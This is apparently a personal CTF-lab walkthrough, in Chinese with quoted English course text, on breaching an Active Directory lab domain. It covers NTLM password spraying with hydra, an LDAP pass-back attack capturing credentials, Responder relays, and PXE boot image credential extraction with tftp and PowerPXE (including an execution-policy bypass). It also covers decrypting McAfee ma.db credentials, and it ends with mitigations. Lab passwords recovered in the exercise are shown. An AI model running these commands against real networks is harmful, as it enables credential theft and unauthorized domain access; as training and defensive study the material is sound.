• NTLM Authenticated Services
    NTLM 身份验证服务
  • LDAP Bind Credentials LDAP 绑定凭据
  • Authentication Relays 身份验证中继
  • Microsoft Deployment Toolkit
    Microsoft 部署工具包
  • Configuration Files 配置文件

开打

先改配置文件

原来的

# Generated by NetworkManager
search localdomain
nameserver 10.211.55.1

改完后sudo systemctl restart networking.service

cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain za.tryhackme.com
nameserver 10.200.80.101
nameserver 10.211.55.1

# Shorten name resolution timeouts to 1 second
options timeout:1
# Only attempt to resolve a hostname 2 times
options attempts:2

haveibeenpwned可以验证您的电子邮件地址或密码是否曾经在公开披露的数据泄露中暴露过

过,web目录是个密码喷洒

Pasted%20image%2020240415155006

换工具盒,方便一点

hydra -I -V -L ./usernames.txt -p 'Changeme123' ntlmauth.za.tryhackme.com http-get '/:A=NTLM:F=401'

# -I = do not read a restore file if present
# -V = very verbose output
# -L = list of usernames
# -p = single password
# ntlmauth.za.tryhackme.com = target
# http-get = hydra module
# '/:A=NTLM:F=401'
# / = path to the login page
# A=NTLM = NTLM authentication type
# F=401 = failure code

感觉我有点急功近利了

LDAP

Pasted%20image%2020240415160823

LDAP Pass-back Attacks

我们可以更改LDAP配置,例如LDAP服务器的IP或主机名。在 LDAP 回传攻击中,我们可以将此 IP 修改为我们的 IP,然后测试 LDAP 配置,这将迫使设备尝试对我们的流氓设备进行 LDAP 身份验证。我们可以拦截此身份验证尝试以恢复 LDAP 凭据

创建恶意LDAP

Pasted%20image%2020240415161453

sudo dpkg-reconfigure -p low slapd

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart


sudo tcpdump -SX -i breachad tcp port 389

sudo systemctl disable --now slapd//停止

成功抓到密码tryhackmeldappass1@

Pasted%20image%2020240415161815

Authentication Relays

我们将重点介绍 SMB 使用的 NetNTLM 身份验证。

Server Message Block

服务器消息块 (SMB) 协议允许客户端(如工作站)与服务器(如文件共享)进行通信。在使用 Microsoft AD 的网络中,SMB 管理从网络间文件共享到远程管理的所有内容。当您尝试打印文档时,您的计算机甚至收到“缺纸”警报也是 SMB 协议的工作

  • Since the NTLM Challenges can be intercepted, we can use offline cracking techniques to recover the password associated with the NTLM Challenge. However, this cracking process is significantly slower than cracking NTLM hashes directly.
    由于NTLM挑战可以被拦截,因此我们可以使用离线破解技术来恢复与NTLM挑战相关的密码。但是,这种破解过程比直接破解NTLM哈希要慢得多。
  • We can use our rogue device to stage a man in the middle attack, relaying the SMB authentication between the client and server, which will provide us with an active authenticated session and access to the target server.
    我们可以使用我们的流氓设备在中间发动攻击,在客户端和服务器之间中继 SMB 身份验证,这将为我们提供活动的身份验证会话和对目标服务器的访问

LLMNR, NBT-NS, and WPAD LLMNR、NBT-NS 和 WPAD

拦截挑战
通过破坏身份验证请求,正常的网络身份验证尝试将失败,这意味着用户和服务将无法连接到他们打算连接到的主机和共享。在安全评估中使用 Responder 时,请记住这一点

Pasted%20image%2020240415163357

同样是回传攻击,但是Responder 没有将身份验证降级为明文登录的配置机制
我们是捕获hash然后手动破解

Microsoft Deployment Toolkit

MDT and SCCM MDT 和 SCCM

Microsoft 部署工具包 (MDT) 是一项 Microsoft 服务,可帮助自动部署 Microsoft 操作系统 (OS)。大型组织使用 MDT 等服务来帮助更高效地在其资产中部署新映像,因为可以在中心位置维护和更新基本映像。

通常,MDT 与 Microsoft 的 System Center Configuration Manager (SCCM) 集成,后者管理所有 Microsoft 应用程序、服务和操作系统的所有更新。MDT 用于新部署。从本质上讲,它允许 IT 团队预配置和管理启动映像。因此,如果他们需要配置一台新机器,他们只需要插入一根网线,一切都会自动发生。

任何提供基础设施集中管理(如 MDT 和 SCCM)的东西也可能成为攻击者的目标,试图接管资产中的大部分关键功能

PXE Boot

如果 DHCP 分配 IP 租约,则允许主机请求 PXE 启动映像并启动网络操作系统安装过程

Pasted%20image%2020240415164407

执行该过程后,客户端将使用 TFTP 连接下载 PXE 启动映像。我们可以将 PXE 引导映像用于两个不同的目的:

  • Inject a privilege escalation vector, such as a Local Administrator account, to gain Administrative access to the OS once the PXE boot has been completed.
    注入权限提升向量(如本地管理员帐户),以便在 PXE 启动完成后获取对操作系统的管理访问权限。
  • Perform password scraping attacks to recover AD credentials used during the install.
    执行密码抓取攻击以恢复安装期间使用的 AD 凭据。

PXE Boot Image Retrieval

Pasted%20image%2020240415164505

通常,您将使用 TFTP 请求每个 BCD 文件,并枚举所有这些文件的配置。但是,由于时间关系,我们将重点关注 x64 架构的 BCD 文件。复制并存储此文件的全名。在本练习的其余部分,我们将使用此名称占位符 x64{7B...B3}.bcd ,因为 MDT 每天都会重新生成文件及其名称。每次看到此占位符时,请记住将其替换为特定的 BCD 文件名。另请注意,如果网络刚刚启动,这些文件名只会在网络活动 10 分钟后更新。

#创建用户
mkdir kali
copy C:\powerpxe kali\
#内容是
C:\powerpxe\LICENSE
C:\powerpxe\PowerPXE.ps1
C:\powerpxe\README.md



tftp -i 10.200.80.202 GET "\Tmp\x64{49B00274-57FA-4044-B224-E9B42538ECD1}.bcd" conf.bcd
#镜像名称是在哪个网址的

powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
# 这样就拿到了boot的路径

tftp -i 10.200.80.202 GET \Boot\x64\Images\LiteTouchPE_x64.wim pxeboot.wim
Get-FindCredentials -WimFile pxeboot.wim

成功拿到凭证

>> Open pxeboot.wim 
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@

Configure file

从集中部署的应用程序恢复凭据
McAfee 将安装期间用于连接回业务流程协调程序的凭据嵌入到名为 ma.db

可以使用对主机的本地访问来检索和读取此数据库文件

scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
sqlitebrowser ma.db


仔细看AGENT_REPOSITORIES
Pasted%20image%2020240415170931

有加密jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==

脚本

破解得到MyStrongPassword!

Mitigations 缓解措施

In terms of mitigations, there are some steps that organisations can take:
在缓解措施方面,组织可以采取一些措施:

  • User awareness and training - The weakest link in the cybersecurity chain is almost always users. Training users and making them aware that they should be careful about disclosing sensitive information such as credentials and not trust suspicious emails reduces this attack surface.
    用户意识和培训 - 网络安全链中最薄弱的环节几乎总是用户。对用户进行培训,让他们意识到他们应该小心披露敏感信息(如凭据)并且不信任可疑电子邮件,从而减少这种攻击面。
  • Limit the exposure of AD services and applications online - Not all applications must be accessible from the internet, especially those that support NTLM and LDAP authentication. Instead, these applications should be placed in an intranet that can be accessed through a VPN. The VPN can then support multi-factor authentication for added security.
    限制 AD 服务和应用程序在线公开 - 并非所有应用程序都必须可从 Internet 访问,尤其是那些支持 NTLM 和 LDAP 身份验证的应用程序。相反,这些应用程序应放置在可通过 VPN 访问的 Intranet 中。然后,VPN 可以支持多因素身份验证以增加安全性。
  • Enforce Network Access Control (NAC) - NAC can prevent attackers from connecting rogue devices on the network. However, it will require quite a bit of effort since legitimate devices will have to be allowlisted.
    强制实施网络访问控制 (NAC) - NAC 可以防止攻击者连接网络上的恶意设备。但是,这将需要相当多的努力,因为合法设备必须被列入允许名单。
  • Enforce SMB Signing - By enforcing SMB signing, SMB relay attacks are not possible.
    强制 SMB 签名 - 通过强制实施 SMB 签名,无法进行 SMB 中继攻击。
  • Follow the principle of least privileges - In most cases, an attacker will be able to recover a set of AD credentials. By following the principle of least privilege, especially for credentials used for services, the risk associated with these credentials being compromised can be significantly reduced.
    遵循最小权限原则 - 在大多数情况下,攻击者将能够恢复一组 AD 凭据。通过遵循最小特权原则,特别是对于用于服务的凭据,可以显著降低与这些凭据泄露相关的风险。